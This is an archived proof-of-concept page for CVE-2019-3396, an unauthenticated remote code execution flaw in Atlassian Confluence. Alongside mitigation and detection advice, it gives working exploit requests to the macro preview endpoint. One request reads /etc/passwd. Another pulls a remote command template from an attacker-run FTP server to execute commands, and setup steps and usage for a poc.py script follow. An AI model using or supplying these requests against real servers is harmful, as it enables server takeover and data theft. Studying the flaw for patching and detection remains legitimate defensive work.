POC详情: 561781f1f7403ec7d2260592ab12eaa189a6c924

来源
关联漏洞
标题: Atlassian Confluence Server 路径遍历漏洞 (CVE-2019-3396)
描述:Atlassian Confluence Server是澳大利亚Atlassian公司的一套专业的企业知识管理与协同软件,也可以用于构建企业WiKi。 Atlassian Confluence Server中存在安全漏洞。远程攻击者可借助Widget Connector宏利用该漏洞执行代码。以下版本受到影响:Atlassian Confluence Server 6.6.12之前版本,6.7.0版本至6.12.3之前版本,6.13.0版本至6.13.3之前版本,6.14.0版本至6.14.2之前版本。
描述
CVE-2019-3396 confluence SSTI RCE
介绍
# CVE-2019-3396
CVE-2019-3396 confluence SSTI RCE

## 🔎 What is CVE-2019-3396?

* A **critical Confluence bug** (Atlassian).
* Type: **Template Injection + Path Traversal**.
* Risk: **Remote Code Execution (RCE)** without login.
* Status: **Exploited in the wild**.

---

## 🛑 Affected Versions

* **6.6.0 → 6.6.11** ❌ vulnerable
* **6.6.12** ✅ fixed
* **6.12.0 → 6.12.2** ❌ vulnerable
* **6.12.3** ✅ fixed
* **6.13.0 → 6.13.2** ❌ vulnerable
* **6.13.3** ✅ fixed
* **6.14.0 → 6.14.1** ❌ vulnerable
* **6.14.2** ✅ fixed

👉 Always check Atlassian’s official advisory for full details.

---

## 💥 Impact

* Full **server takeover**
* **Data theft**, ransomware, crypto-miners
* Attackers can run **any code they want**

---

## 🔐 Mitigation

* ✅ **Upgrade** to patched Confluence version (best fix)
* 🚫 Disable **Widget Connector** macro if you can’t patch right away
* 🔒 Limit access (internal only until fixed)

---

## 👀 Detection (safe tips)

* Watch logs for strange requests hitting macro/preview endpoints
* Look for weird processes or outbound traffic
* Use vulnerability scanners to confirm version

---

## 📂  Read File
```
POST /rest/tinymce/1/macro/preview HTTP/2
Host: {***}

{"macro":{"params":{"_template":"file:///etc/passwd"}}}
```

<img src="img/1.png" >


## Execute Command 
```
POST /rest/tinymce/1/macro/preview HTTP/2
Host: ***

{"contentId":"1","macro":{"name":"widget","params":{"_template":"ftp://***:8888/cmd.vm","command":"id"},"body":""}}
```

## Automation 
* upload cmd.vm on your vps
* use ftp or https for create likn to this cmd.vm file via
 ```
pip install pyftpdlib
python -m pyftpdlib -p  8888
```
* update file poc.py with new value for pyftp = "ftp://10.100.10.100:8888/cmd.vm"

```
python poc.py <url> <cmd>
python poc.py https://ip:port  "id"
```


⚠️ **TIP** — this repo is only for **education, defense, and awareness**.

---

## 🔗 References

* [Atlassian Advisory](https://confluence.atlassian.com/security) 🏢
* [NVD Entry for CVE-2019-3396](https://nvd.nist.gov/vuln/detail/CVE-2019-3396) 🛡️

文件快照

[4.0K] /data/pocs/561781f1f7403ec7d2260592ab12eaa189a6c924 ├── [ 501] cmd.vm ├── [4.0K] img │   └── [ 98K] 1.png ├── [6.9K] LICENSE ├── [2.0K] poc.py └── [2.1K] README.md 1 directory, 5 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。